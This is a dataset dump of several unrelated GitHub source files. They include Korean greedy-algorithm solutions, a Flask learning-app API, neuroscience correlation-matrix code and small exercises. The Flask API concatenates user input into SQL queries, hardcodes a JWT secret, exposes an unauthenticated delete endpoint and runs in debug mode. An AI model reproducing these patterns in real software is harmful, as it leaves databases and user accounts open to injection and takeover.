range(len(s)-1): #s를 도는 반복문\n if s[i]!=s[i+1]: #해당 문자열과 다음 문자열이 다른 경우\n if s[i+1]==1: #다음 문자열이 1인 경우 0으로 바꾸는데에 추가\n count0+=1\n else: #다음 문자열이 0인 경우 1으로 바꾸는데에 추가\n count1+=1\n\n return min(count0,count1) #숫자를 바꾸는 경우 중 더 작은 값 return\n\n#print(reverse_string())\n\ndef amount_cannot_make():\n n = int(input()) #동전의 갯수 입력받기\n amount = list(map(int,input().split(' '))) #동전 종류 입력받기\n amount.sort() #정렬\n target = 1 #target 초기화\n\n for i in amount: #동전을 도는 반복문\n if i>target: #i가 target보다 커지면 종료\n break\n target+=i\n\n return target\n\n#print(amount_cannot_make())\n\ndef select_bowling_ball():\n n,m = map(int, input().split(' ')) #볼링공의 갯수 n, 공의 최대 무게 m 입력받기\n ball = list(map(int,input().split(' '))) #공의 무게 입력받기\n \n array = [0]*11 #무게별 공 초기화\n for x in ball: #무게에 해당하는 공의 갯수 count\n array[x]+=1\n\n result=0 #result 초기화\n for i in range(1,m+1):\n n-=array[i] #전체 갯수에서 해당 공의 갯수 빼기\n result+=array[i]*n #전체 갯수 * 해당 공의 갯수 더하기\n\n return result\n\n#print(select_bowling_ball())\n\nimport heapq\n\ndef muzi_mukbang(food_times, k):\n if sum(food_times)<=k: #전체 시간을 합한 값이 k 보다 작으면 -1 return\n return -1\n \n q=[] #우선순위 큐 구현\n for i in range(len(food_times)): #시간의 길이까지 도는 반복문\n heapq.heappush(q,(food_times[i],i+1)) #시간과 번호를 q에 삽입\n \n sum_value = 0 #sum 값 초기화\n previous = 0 #직전에 다 먹은 음식의 시간\n length = len(food_times) #남은 음식의 갯수\n \n while sum_value+((q[0][0]-previous)*length)<=k: #sum_value + (현재 음식의 시간-이전 음식 시간)*현재 음식 개수와 k 비교\n now = heapq.heappop(q)[0]\n sum_value+=(now-previous)*length\n length-=1 #다 먹은 음식 제와\n previous=now #이전 음식 시간 재설정\n \n result = sorted(q,key=lambda x:x[1]) #남은 음식 중 몇번째 음식인지 확인하여 출력\n return result[(k-sum_value)%length][1]\n\n#print(muzi_mukbang([3, 1, 2],5))","repo_name":"hyz218/codingtest_with_python","sub_path":"Problems/Greedy_problem.py","file_name":"Greedy_problem.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18384633237","text":"from flask import Flask, redirect, jsonify, request, json\nfrom flask_mysqldb import MySQL\nimport yaml\nimport json\nfrom flask_cors import CORS, cross_origin\nfrom datetime import datetime\nfrom flask_bcrypt import Bcrypt\nfrom flask_jwt_extended import JWTManager\nfrom flask_jwt_extended import create_access_token\nimport requests\n\napp = Flask(__name__)\nCORS(app)\n\n# Config\ndb = yaml.load(open('db.yaml'))\napp.config['MYSQL_HOST'] = db['mysql_host']\napp.config['MYSQL_USER'] = db['mysql_user']\napp.config['MYSQL_PASSWORD'] = db['mysql_password']\napp.config['MYSQL_DB'] = db['mysql_db']\napp.config['JWT_SECRET_KEY'] = 'secret'\n\nmysql = MySQL(app)\nbcrypt = Bcrypt(app)\njwt = JWTManager(app)\n\n@app.route('/')\ndef index():\n return '

bienvenue sur l\\'api de Tesserakt python flask

';\n\n\n##################################################\n# cours\n##################################################\n\n\n@app.route('/cours')\n@cross_origin(supports_credentials=True)\ndef getAllCours():\n cur = mysql.connection.cursor()\n coursCur = cur.execute('select * from cours')\n if coursCur > 0:\n lesCours = cur.fetchall()\n cur.close()\n return jsonify(lesCours)\n cur.close()\n\n\n@app.route('/getCours/')\ndef getCoursById(id):\n cur = mysql.connection.cursor()\n coursCur = cur.execute('select * from cours where id_cours = ' + id)\n if coursCur > 0:\n coursById = cur.fetchall()\n cur.close()\n return jsonify(coursById)\n cur.close()\n\n\n##################################################\n# Exercice\n##################################################\n\n@app.route('/exercices')\ndef getAllExercices():\n cur = mysql.connection.cursor()\n exercicesCur = cur.execute('select * from exercices')\n if exercicesCur > 0:\n exercices = cur.fetchall()\n cur.close()\n return jsonify(exercices)\n cur.close()\n\n\n@app.route('/getExercice/')\ndef getExerciceById(id):\n cur = mysql.connection.cursor()\n exerciceCur = cur.execute('select * from exercices where id_exercice = ' + id)\n if exerciceCur > 0:\n exercice = cur.fetchall()\n cur.close()\n return jsonify(exercice)\n cur.close()\n\n\n@app.route('/setIsStarted//')\ndef setIsStartedById(id, email):\n mysql.connection.autocommit(on=True)\n cur = mysql.connection.cursor()\n email = email.replace('%40', '@')\n email = email.replace('%point', '.')\n\n # check if line already exist\n\n curCheck = mysql.connection.cursor()\n responseCheck = curCheck.execute('select * from userdata where id_exercice = ' + id + ' and email like \"' + email + '\"')\n curCheck.close()\n if responseCheck > 0:\n return jsonify(1)\n else:\n curResultCreate = cur.execute(\n 'insert into userdata (id_exercice, email, is_started) values (' + id + ', \"' + email + '\", true)'\n )\n if curResultCreate > 0:\n cur.close()\n return jsonify(1)\n cur.close()\n app.logger.info(email)\n return jsonify(0)\n\n@app.route('/setIsFinished//')\ndef setIsFinishedById(id, email):\n mysql.connection.autocommit(on=True)\n cur = mysql.connection.cursor()\n email = email.replace('%40', '@')\n email = email.replace('%point', '.')\n curResult = cur.execute('update userdata set is_finished = true, date_end = CURRENT_TIMESTAMP where id_exercice = ' + id + ' and email like \"' + email + '\"')\n if curResult > 0:\n cur.close()\n return jsonify(1)\n cur.close()\n app.logger.info(email)\n return jsonify(0)\n\n\n##################################################\n# Reponse\n##################################################\n\n@app.route('/getUserResponse')\ndef getUserResponse():\n cur = mysql.connection.cursor()\n responseCur = cur.execute('select * from userresponse')\n if responseCur > 0:\n responses = cur.fetchall()\n cur.close()\n return jsonify(responses)\n cur.close()\n \n@app.route('/checkIsValid//')\ndef checkIsValid():\n cur = mysql.connection.cursor()\n responseCur = cur.execute('select * from userdata where id_exercice = ' + id + ' and email like \"' + email +'\"')\n if responseCur > 0:\n responses = cur.fetchall()\n cur.close()\n return jsonify(0)\n cur.close()\n return jsonify(1)\n \n@app.route('/getCubesValuesAll')\ndef getCubeValueAll():\n cur = mysql.connection.cursor()\n responseCur = cur.execute('select id_cube, action from idcudetoaction')\n if responseCur > 0:\n responses = cur.fetchall()\n cur.close()\n return jsonify(responses)\n cur.close()\n \n@app.route('/setCubesValues/', methods = ['GET', 'POST'])\ndef setCubesValues(value):\n mysql.connection.autocommit(on=True)\n tabVal = value.split(';;')\n del tabVal[0]\n curResultInsert = ''\n for i in range(0, len(tabVal), 1):\n tabi = tabVal[i]\n cur = mysql.connection.cursor()\n curResultInsert += ' ' + insertCubeToAction(str(i), str(tabi))\n return 'true';\n \n\n \ndef insertCubeToAction(id, action):\n cur = mysql.connection.cursor()\n returnValue = ' none '\n curResultInsert = cur.execute('insert into idcudetoaction (id_cube, action) values (' + str(id)+', \"' + str(action) +'\") ON DUPLICATE KEY UPDATE action = \"' + str(action) +'\"')\n if curResultInsert > 0:\n returnValue = cur.fetchall()\n return 'oui'\n cur.close()\n return 'non'\n \n\n##################################################\n# User\n##################################################\n\n@app.route('/isAdmin/')\ndef getIsAdmin(email):\n cur = mysql.connection.cursor()\n userResponse = cur.execute('select * from users where email like \"' + email + '\"')\n if userResponse > 0:\n user = cur.fetchall()\n cur.close()\n if user[0][6]:\n return jsonify(1)\n else:\n return jsonify(0)\n cur.close()\n return jsonify(0)\n\n@app.route('/delete/')\ndef deleteUserByMail(mail):\n mail = mail.replace('%40', '@')\n mail = mail.replace('%point', '.')\n mysql.connection.autocommit(on=True)\n cur = mysql.connection.cursor()\n responseCur = cur.execute('DELETE FROM users where email like \"' + mail + '\"')\n if responseCur > 0:\n return jsonify(1)\n cur.close()\n return jsonify(0)\n\n@app.route('/getUserDataByMail/', methods = ['GET', 'POST'])\ndef getUserDataByMail(email):\n #args = request.args\n #mail = args['mail']\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select * from userdata where email like \"' + email + '\"')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n\n@app.route('/getUserDataStarted/')\ndef getUserDataStartedByMail(email):\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select ud.id_exercice, e.titre from userdata as ud join exercices as e on e.id_exercice = ud.id_exercice where ud.email like \"' + email + '\" and ud.is_started = 1')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n \n@app.route('/getUserDataFinished/')\ndef getUserDataFinished(email):\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select ud.id_exercice, e.titre, ud.date_end from userdata as ud join exercices as e on e.id_exercice = ud.id_exercice where ud.email like \"' + email + '\" and ud.is_finished = 1')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n \n@app.route('/getDateDif/')\ndef getDateDif(email):\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select date_start, date_end, id_exercice from userdata as ud where ud.email like \"' + email + '\" and ud.is_started = 1 and ud.is_finished = 1')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n\n@app.route('/getCoursNameById/')\ndef getCoursNameById(id):\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select titre from exercices where id_exercice = '+ id)\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n\n@app.route('/getUserByMail/')\ndef getUserByMail(email):\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select first_name, last_name, created from users where email like \"' + email + '\"')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n \n@app.route('/users/login', methods=['POST'])\ndef login():\n cur = mysql.connection.cursor()\n email = request.get_json()['email']\n password = request.get_json()['password']\n result = \"\"\n\n cur.execute(\"SELECT * FROM users where email = '\" + str(email) + \"'\")\n rv = cur.fetchone()\n if bcrypt.check_password_hash(rv[2], password):\n access_token = create_access_token(\n identity={\n 'first_name': rv[4],\n 'last_name': rv[5],\n 'email': rv[1]\n })\n result = access_token\n else:\n result = jsonify({\"error\": \"Invalid username and password\"})\n\n return result\n \n@app.route('/users/register', methods=['POST'])\ndef register():\n cur = mysql.connection.cursor()\n first_name = request.get_json()['first_name']\n last_name = request.get_json()['last_name']\n email = request.get_json()['email']\n password = bcrypt.generate_password_hash(\n request.get_json()['password']).decode('utf-8')\n created = datetime.utcnow()\n\n cur.execute(\n \"INSERT INTO users (first_name, last_name, email, password, created) VALUES ('\"\n + str(first_name) + \"','\" + str(last_name) + \"','\" + str(email) +\n \"','\" + str(password) + \"','\" + str(created) + \"')\")\n mysql.connection.commit()\n\n result = {\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email,\n 'password': password,\n 'created': created\n }\n\n return jsonify({'result': result})\n \n@app.route('/getCarCommande')\ndef getCarCommande():\n cur = mysql.connection.cursor()\n dataCur = cur.execute('select ur.coord_x, ur.coord_y, ai.action from userresponse as ur join idcudetoaction as icta on ur.id_box = icta.id_cube join actionid as ai on ai.action = icta.action')\n if dataCur > 0:\n data = cur.fetchall()\n cur.close()\n return jsonify(data)\n cur.close()\n \n@app.route('/downloadCours', methods=[\"GET\", \"POST\"])\ndef downloadCours():\n #response = requests.get('https://jsonplaceholder.typicode.com/users')\n response = requests.get('http://kireta.pythonanywhere.com/getCoursData')\n data = response.json()\n\n ress=\"\"\n\n col = ''\n val = ''\n isString = [\"titre\", \"description\", \"contenue\", \"mediaPath\"]\n for item in data:\n col = ''\n val += '('\n for value in item:\n col += ' ' + str(value) + ','\n # check if field is string field, add \" \"\n if str(value) in isString:\n val += '\"' + str(item[value]) + '\",'\n else:\n val += ' ' + str(item[value]) + ','\n val = val[:-1]\n val += '),'\n col = col[:-1]\n val = val[:-1]\n\n ress += 'INSERT INTO cours (' + col + ') VALUES ' + val + ';'\n\n cur = mysql.connection.cursor()\n dataCur = cur.execute(ress)\n mysql.connection.commit()\n \n return jsonify(dataCur)\n \n@app.route('/downloadExercice', methods=[\"GET\", \"POST\"])\ndef downloadExercice():\n response = requests.get('http://kireta.pythonanywhere.com/getExerciceData')\n data = response.json()\n\n ress=\"\"\n\n col = \"\"\n val = \"\"\n isString = [\"titre\", \"description\", \"contenue\", \"mediaPath\", \"imgPath\", \"imgReponsePath\", \"cube_needed\", \"has_finished\", \"coord_finish\"]\n for item in data:\n col = ''\n val += '('\n for value in item:\n col += ' ' + str(value) + ','\n # check if field is string field, add ' '\n if str(value) in isString:\n convertedValue = str(item[value]).replace(\"\\\\\", \" \")\n val += '\"' + convertedValue + '\",'\n else:\n val += ' ' + str(item[value]) + ','\n val = val[:-1]\n val += '),'\n col = col[:-1]\n val = val[:-1]\n\n ress += 'INSERT INTO exercice (' + col + ') VALUES ' + val + ';'\n\n cur = mysql.connection.cursor()\n dataCur = cur.execute(ress)\n mysql.connection.commit()\n\n return jsonify(dataCur)\n\n \n\napp.run(debug=True, port=80, host='0.0.0.0')\n","repo_name":"RobinStGeorges/tesseraktApiFlask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41254932536","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nimport brain_observatory_analysis.ophys.data_formatting as df\n\n\ndef get_trace_array_from_trace_df(trace_df, nan_frame_prop_threshold=0.2, nan_cell_prop_threshold=0.2):\n \"\"\" Get trace array from trace dataframe\n If number of frames with nan values is small, it's okay to just remove those frames\n If number of frames with nan values is large, something is wrong with the data\n If number of cells with large number of nan frames is small, it's okay to just remove those cells\n Ideally, there should be no nan values in the trace array:\n If it happens, it means there is something wrong in the data or data processing.\n\n Parameters\n ----------\n trace_df: pandas.DataFrame\n A dataframe containing traces for a given session and event type\n nan_frame_prop_threshold: float, optional\n Threshold for the proportion of nan frames in a cell, default 0.2\n nan_cell_prop_threshold: float, optional\n Threshold for the proportion of nan cells in a session, default 0.2\n\n Returns\n -------\n trace_array: np.ndarray (2d)\n Trace array\n remove_ind: np.ndarray (1d)\n Indices of cells to be removed due to large number of nan frames\n nan_frames: np.ndarray (1d)\n Indices of frames with nan values\n\n \"\"\"\n trace_array = np.vstack(trace_df.trace.values)\n\n # Check if there are too many nan frames or cells with too many nan frames\n num_cell = len(trace_df)\n num_nan_frames_threshold = int(trace_array.shape[1] * nan_frame_prop_threshold)\n nan_frames = np.where(np.isnan(trace_array).sum(axis=0) > 0)[0]\n num_nan_frames = len(nan_frames)\n\n remove_ind = np.zeros(0, dtype=np.uint32)\n if num_nan_frames > 0:\n if num_nan_frames > num_nan_frames_threshold:\n num_nan_frames_each = np.isnan(trace_array).sum(axis=1)\n ind_many_nan_frames = np.where(num_nan_frames_each > num_nan_frames_threshold)[0]\n num_nan_cells = len(ind_many_nan_frames)\n if num_nan_cells / num_cell > nan_cell_prop_threshold:\n raise ValueError(f\"Too many cells with nan frames > threshold {nan_frame_prop_threshold}: {num_nan_cells} out of {num_cell}\")\n else:\n print(f\"{num_nan_cells} cells with nan frames proportion > threshold {nan_frame_prop_threshold}\")\n remove_ind = ind_many_nan_frames\n valid_trace_array = np.delete(trace_array, remove_ind, axis=0)\n nan_frames = np.where(np.isnan(valid_trace_array).sum(axis=0) > 0)[0]\n num_nan_frames = len(nan_frames)\n print(f\"{num_nan_frames} frames with nan values\")\n else:\n print(f\"{num_nan_frames} frames with nan values\")\n\n return trace_array, remove_ind, nan_frames\n\n\ndef get_correlation_matrices(trace_df, nan_frame_prop_threshold=0.2, nan_cell_prop_threshold=0.2):\n \"\"\" Get correlation matrices for a given trace dataframe\n If number of frames with nan values is small, it's okay to just remove those frames\n If number of frames with nan values is large, something is wrong with the data\n If number of cells with large number of nan frames is small, it's okay to just remove those cells\n\n Parameters\n ----------\n trace_df: pandas.DataFrame\n A dataframe containing traces for a given session and event type\n nan_frame_prop_threshold: float, optional\n Threshold for the proportion of nan frames in a cell, default 0.2\n nan_cell_prop_threshold: float, optional\n Threshold for the proportion of nan cells in a session, default 0.2\n\n Returns\n -------\n corr: np.ndarray (2d)\n Correlation matrix (No sorting, i.e., sorted by oeid and cell specimen id)\n corr_ordered: np.ndarray (2d)\n Correlation matrix (Sorted by mean correlation coefficient)\n corr_ordered_by_region: np.ndarray (2d)\n Correlation matrix (Sorted by region and depth)\n xy_labels: list\n List of labels for corr_ordered_by_region\n xy_label_pos: list\n List of label positions for corr_ordered_by_region\n mean_corr_sorted_ind: np.ndarray (1d)\n Sorted indices of mean correlation coefficients (applied to corr to produce corr_ordered)\n remove_ind: np.ndarray (1d)\n Indices of cells to be removed due to large number of nan frames\n \"\"\"\n trace_array, remove_ind, nan_frame_ind = get_trace_array_from_trace_df(trace_df, nan_frame_prop_threshold, nan_cell_prop_threshold)\n assert len(remove_ind) == 0\n assert len(nan_frame_ind) == 0\n\n corr = np.corrcoef(trace_array)\n\n # sort by global mean correlation\n mean_corr = np.nanmean(corr, axis=0)\n mean_corr_sorted_ind = np.argsort(mean_corr)[::-1] # descending order\n corr_ordered = corr[mean_corr_sorted_ind, :][:, mean_corr_sorted_ind]\n\n # trace_df is grouped by experiemnts, so we can get the number of cells in each experiment\n numcell_cumsum = np.cumsum([x[0] for x in trace_df[['targeted_structure', 'depth_order', 'oeid']].groupby(['oeid']).count().values])\n xy_ticks = np.insert(numcell_cumsum, 0, 0)\n xy_labels = [f\"{x}-{y}\" for x, y in zip(trace_df.groupby(['oeid']).first().targeted_structure.values, trace_df.groupby(['oeid']).first().bisect_layer.values)]\n xy_label_pos = xy_ticks[:-1] + np.diff(xy_ticks) / 2\n\n # order the corr matrix by the mean correlation of each cell within each oeid\n trace_array_ordered_by_region = np.zeros_like(trace_array)\n within_region_sorted_ind = np.array(range(0, corr.shape[0]))\n for i in range(len(numcell_cumsum)):\n # find the order within each oeid\n within_mean_corr = np.mean(corr[xy_ticks[i]: xy_ticks[i + 1], xy_ticks[i]: xy_ticks[i + 1]], axis=1)\n within_order = np.argsort(-within_mean_corr) # descending order\n # trace_array_ordered_by_region[xy_ticks[i]:xy_ticks[i + 1], :] = trace_array[xy_ticks[i]: xy_ticks[i + 1], :][within_order, :]\n within_region_sorted_ind[xy_ticks[i]:xy_ticks[i + 1]] = within_region_sorted_ind[xy_ticks[i]:xy_ticks[i + 1]][within_order]\n trace_array_ordered_by_region = trace_array[within_region_sorted_ind, :]\n corr_ordered_by_region = np.corrcoef(trace_array_ordered_by_region)\n\n return corr, corr_ordered, corr_ordered_by_region, xy_labels, xy_label_pos, mean_corr_sorted_ind, within_region_sorted_ind, remove_ind\n\n\n# Comparing between different epochs and events\n# Functions to get all epoch trace dfs and correlation matrices\ndef _append_results(results, trace_df, epoch):\n \"\"\"Append results from trace_df\n\n Parameters\n ----------\n results: dict\n Dictionary to store results\n trace_df: pd.DataFrame\n Dataframe containing trace and other information\n epoch: str\n Epoch name\n\n Returns\n -------\n results: dict\n Dictionary to store results\n \"\"\"\n results['epochs'].append(epoch)\n results['trace_dfs'].append(trace_df)\n corr, corr_ordered, corr_ordered_by_region, xy_labels, xy_label_pos, sorted_ind, remove_ind = get_correlation_matrices(trace_df)\n results['corr_matrices'].append(corr)\n results['corr_ordered_matrices'].append(corr_ordered)\n results['corr_ordered_by_region_matrices'].append(corr_ordered_by_region)\n results['xy_label_pos'].append(xy_label_pos)\n results['xy_labels'].append(xy_labels)\n results['sorted_inds'].append(sorted_ind)\n results['remove_inds'].append(remove_ind)\n return results\n\n\ndef get_all_epoch_trace_df_and_correlation_matrices(lamf_group, session_name, image_order=3,\n inter_image_interval=0.75, output_sampling_rate=20):\n \"\"\"Get all epoch trace dfs and correlation matrices\n\n Parameters\n ----------\n lamf_group: Experiment group\n Experiment group object\n session_name: str\n Session name\n image_order: int, optional\n Image order for 'images>n-change' event type, default 3\n inter_image_interval: float, optioanl\n Inter image interval, default 0.75\n output_sampling_rate: float\n Output sampling rate, default 20 (Hz)\n\n Returns\n -------\n epochs: list\n List of epochs\n trace_dfs: list\n List of trace dataframes\n corr_matrices: list\n List of correlation matrices\n corr_ordered_matrices: list\n List of correlation matrices ordered by global mean correlation\n corr_ordered_by_region_matrices: list\n List of correlation matrices ordered by mean correlation within each region and depth\n xy_label_pos_list: list\n List of x and y label positions for corr_ordered_by_region_matrices\n xy_labels_list: list\n List of x and y labels for corr_ordered_by_region_matrices\n sorted_inds_list: list\n List of sorted indices for corr_ordered_by_region_matrices\n remove_inds_list: list\n List of indices removed because of NaN frames\n \"\"\"\n\n results = {'epochs': [],\n 'trace_dfs': [],\n 'corr_matrices': [],\n 'corr_ordered_matrices': [],\n 'corr_ordered_by_region_matrices': [],\n 'xy_label_pos': [],\n 'xy_labels': [],\n 'sorted_inds': [],\n 'remove_inds': []}\n\n trace_task_df = df.get_trace_df_task(lamf_group, session_name)\n if len(trace_task_df) > 0:\n results = _append_results(results, trace_task_df, 'task')\n\n trace_graypre_df, trace_graypost_df, trace_fingerprint_df = df.get_trace_df_no_task(lamf_group, session_name)\n if len(trace_graypre_df) > 0:\n assert (trace_task_df.index.values - trace_graypre_df.index.values).any() == False # noqa: E712\n results = _append_results(results, trace_graypre_df, 'graypre')\n\n if len(trace_graypost_df) > 0:\n assert (trace_task_df.index.values - trace_graypost_df.index.values).any() == False # noqa: E712\n results = _append_results(results, trace_graypost_df, 'graypost')\n\n if len(trace_fingerprint_df) > 0:\n assert (trace_task_df.index.values - trace_fingerprint_df.index.values).any() == False # noqa: E712\n results = _append_results(results, trace_fingerprint_df, 'fingerprint')\n\n events = ['images>n-changes', 'changes', 'omissions']\n for event in events:\n trace_event_df = df.get_trace_df_event(lamf_group, session_name=session_name, event_type=event,\n image_order=image_order, inter_image_interval=inter_image_interval,\n output_sampling_rate=output_sampling_rate)\n if len(trace_event_df) > 0:\n assert (trace_task_df.index.values - trace_event_df.index.values).any() == False # noqa: E712\n if event == 'images>n-changes':\n event = 'images'\n results = _append_results(results, trace_event_df, event)\n\n epochs, trace_dfs, corr_matrices, corr_ordered_matrices, corr_ordered_by_region_matrices, \\\n xy_label_pos_list, xy_labels_list, sorted_inds_list, remove_inds_list = results.values()\n\n return epochs, trace_dfs, corr_matrices, corr_ordered_matrices, corr_ordered_by_region_matrices, \\\n xy_label_pos_list, xy_labels_list, sorted_inds_list, remove_inds_list\n\n\ndef compare_correlation_matrices(compare_epochs, epochs, corr_matrices, corr_ordered_matrices, corr_ordered_by_region_matrices,\n xy_label_pos_list, xy_labels_list, sorted_inds_list, remove_inds_list, session_name,\n vmin=-0.4, vmax=0.8, cb_shrink_factor=0.7):\n \"\"\"Compare correlation matrices\n Plot correlation matrices for different epochs and events\n along with their sorted correlation matrices by one correlation matrix (Reference matrix)\n\n Parameters\n ----------\n compare_epochs: list\n List of epochs to compare\n epochs: list\n List of epochs (results from get_all_epoch_trace_df_and_correlation_matrices)\n corr_matrices: list\n List of corr (results from get_all_epoch_trace_df_and_correlation_matrices)\n corr_ordered_matrices: list\n List of corr_ordered (results from get_all_epoch_trace_df_and_correlation_matrices)\n corr_ordered_by_region_matrices: list\n List of corr_ordered_by_region (results from get_all_epoch_trace_df_and_correlation_matrices)\n xy_label_pos_list: list\n List of xy_label_pos (results from get_all_epoch_trace_df_and_correlation_matrices)\n xy_labels_list: list\n List of xy_labels (results from get_all_epoch_trace_df_and_correlation_matrices)\n sorted_inds_list: list\n List of sorted_inds (results from get_all_epoch_trace_df_and_correlation_matrices)\n session_name: str\n Session name\n vmin: float, optional\n Minimum value for correlation matrix plot colorbar, default -0.4\n vmax: float, optional\n Maximum value for correlation matrix plot colorbar, default 0.8\n cb_shrink_factor: float, optional\n Colorbar shrink factor for sns.heatmap, default 0.7\n \"\"\"\n\n num_rows = len(compare_epochs)\n inds = []\n for i in range(num_rows):\n inds.append(epochs.index(compare_epochs[i]))\n\n # Set remove_inds as the union of remove_inds_list\n remove_inds = remove_inds_list[inds[0]]\n for i in range(1, num_rows):\n remove_inds = np.union1d(remove_inds, remove_inds_list[inds[i]])\n # Only show the cell indice that are not removed in any of the compared matrices\n ref_sort_ind = [si for si in sorted_inds_list[inds[0]] if si not in remove_inds]\n comp_sorted_by_ref = []\n num_indice = []\n for i in range(1, num_rows):\n # For each compared matrix, reduce the cell indice by the number of removed cells\n # Because each matrix has different number of removed cells\n # However, the resulting compared matrices will all have the same number of cells\n temp_sort_ind = ref_sort_ind.copy()\n for j in range(len(temp_sort_ind)):\n reduction = np.where(remove_inds_list[inds[i]] < temp_sort_ind[j])[0].shape[0]\n temp_sort_ind[j] -= reduction\n assert len(temp_sort_ind) == len(np.unique(temp_sort_ind))\n num_indice.append(len(temp_sort_ind))\n comp_sorted_by_ref.append(corr_matrices[inds[i]][temp_sort_ind, :][:, temp_sort_ind])\n assert len(np.unique(num_indice)) == 1\n\n fig, ax = plt.subplots(num_rows, 3, figsize=(15, num_rows * 5))\n # Plot reference matrices\n sns.heatmap(corr_matrices[inds[0]], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[0, 0])\n ax[0, 0].set_title(compare_epochs[0])\n sns.heatmap(corr_ordered_matrices[inds[0]], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[0, 1])\n ax[0, 1].set_title(compare_epochs[0] + ' sorted')\n sns.heatmap(corr_ordered_by_region_matrices[inds[0]], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[0, 2])\n ax[0, 2].set_title(compare_epochs[0] + ' sorted within region')\n\n # Plot comparison matrices\n for i in range(1, num_rows):\n sns.heatmap(corr_matrices[inds[i]], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[i, 0])\n ax[i, 0].set_title(compare_epochs[i])\n sns.heatmap(comp_sorted_by_ref[i - 1], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[i, 1])\n ax[i, 1].set_title(compare_epochs[i] + ' sorted by ' + compare_epochs[0])\n sns.heatmap(corr_ordered_by_region_matrices[inds[i]], cmap='RdBu_r', square=True, cbar_kws={'shrink': cb_shrink_factor},\n vmin=vmin, vmax=vmax, ax=ax[i, 2])\n ax[i, 2].set_title(compare_epochs[i] + ' sorted within region')\n\n # Label axes\n num_cell = corr_matrices[inds[0]].shape[0]\n interval = 100 if num_cell > 300 else 50\n xy_label_pos_ref = xy_label_pos_list[inds[0]]\n xy_labels_ref = xy_labels_list[inds[0]]\n for i in range(num_rows):\n for j in range(2):\n ax[i, j].set_xticks(range(0, num_cell, interval))\n ax[i, j].set_yticks(range(0, num_cell, interval))\n ax[i, j].set_xticklabels(range(0, num_cell, interval))\n ax[i, j].set_yticklabels(range(0, num_cell, interval))\n ax[i, 2].set_xticks(xy_label_pos_ref)\n ax[i, 2].set_xticklabels(xy_labels_ref, rotation=90)\n ax[i, 2].set_yticks(xy_label_pos_ref)\n ax[i, 2].set_yticklabels(xy_labels_ref, rotation=0)\n fig.suptitle(f'{session_name}\\n{compare_epochs[0]} vs {compare_epochs[1]}')\n fig.tight_layout()\n\n return fig\n","repo_name":"AllenInstitute/brain_observatory_analysis","sub_path":"brain_observatory_analysis/ophys/correlation_analysis.py","file_name":"correlation_analysis.py","file_ext":"py","file_size_in_byte":16832,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"42924201275","text":"def junta_nome_sobrenome(a,b):\n lista = []\n lista.append(a)\n i=1\n t = 0\n while len(lista) <= len(a)+len(b):\n lista.insert(i,b[t])\n i += 2\n t += 1\n return lista","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_337/ch50_2020_03_30_15_19_23_576176.py","file_name":"ch50_2020_03_30_15_19_23_576176.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72632429492","text":"from flask import Flask, request, jsonify\n\napp = Flask(__name__)\napp.config['JSONIFY_PRETTYPRINT_REGULAR'] = True\n\n\nusers = {'hanbin':'01012345678', 'muldae': '01043218765'}\n\n@app.route('/phone', methods=['GET', 'POST'])\ndef search():\n\n name = request.args.get('name')\n number = users.get(name) # it can be replaced by number = users.get(request.args.get('name'))\n\n if not number:\n return jsonify({'result':False, 'data':None})\n else:\n return jsonify({'result': True, 'data': number})\n\n\n\n@app.route('/', methods=['GET','POST'])\ndef index():\n return 'Hello World!'\n\n\nif __name__=='__main__':\n app.config.from_object(__name__)\n app.config['SECRET_KEY'] = 'tnarudhkTejsskdml~'\n app.run('0.0.0.0', port=1994, debug=True)\n","repo_name":"JangHanbin/simple-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39523600205","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef csvToList(fileName):\n dataFile = open(fileName, 'r')\n unformattedData = dataFile.readlines()\n formattedData = list()\n # get rid of column titles\n del unformattedData[0]\n # split the data by column, put in a formatted data list\n for line in unformattedData:\n currentLine = line.split(',')\n measurementNumber = int(currentLine[0])\n voltage = float(currentLine[1])\n formattedData.append([measurementNumber, voltage])\n dataFile.close()\n return formattedData\n\ndef findAnomalyIndex(dataList):\n anomalyIndexList = list()\n for i in range(len(dataList)):\n if i != 0:\n if dataList[i][1] - dataList[i-1][1] > .01:\n anomalyIndexList.append(i)\n return anomalyIndexList\n\ndef fixSingleAnomaly(anomalyIndex, 